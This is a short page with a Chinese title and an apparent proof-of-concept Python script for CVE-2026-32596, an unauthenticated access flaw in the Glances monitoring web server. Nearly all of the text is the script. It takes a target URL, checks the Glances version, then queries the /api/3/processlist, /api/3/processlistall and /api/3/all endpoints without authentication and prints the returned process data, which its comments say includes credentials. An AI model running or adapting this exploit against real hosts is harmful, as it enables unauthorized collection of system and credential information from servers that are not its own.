CVE-2026-32596 Glances Web Server未授权访问漏洞

# CVE-2026-32596 PoC - Glances Web Server Unauthorized Access # This PoC demonstrates accessing the Glances REST API without authentication import requests import json import sys def check_glances_version(target_url): """Check Glances version""" try: response = requests.get(f"{target_url}/api/3/all", timeout=10) if response.status_code == 200: data = response.json() version = data.get('glances', {}).get('version', 'Unknown') return version except Exception as e: return None def extract_sensitive_info(target_url): """Extract process information including credentials from Glances API""" endpoints = [ '/api/3/processlist', '/api/3/processlistall', '/api/3/all' ] results = [] for endpoint in endpoints: try: response = requests.get(f"{target_url}{endpoint}", timeout=10) if response.status_code == 200: data = response.json() results.append({ 'endpoint': endpoint, 'data': data }) except Exception as e: print(f"Error accessing {endpoint}: {e}") return results def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-32596-poc.py <target_url>") print("Example: python cve-2026-32596-poc.py http://192.168.1.100:61208") sys.exit(1) target_url = sys.argv[1].rstrip('/') print(f"[*] Targeting: {target_url}") # Check version version = check_glances_version(target_url) if version: print(f"[+] Glances version: {version}") else: print("[-] Could not determine version or connect to target") sys.exit(1) # Extract sensitive information print("[*] Extracting process information...") results = extract_sensitive_info(target_url) if results: print(f"[+] Found {len(results)} accessible endpoints") for result in results: print(f"\n[+] Data from {result['endpoint']}:") print(json.dumps(result['data'], indent=2)) else: print("[-] No accessible endpoints found") if __name__ == "__main__": main()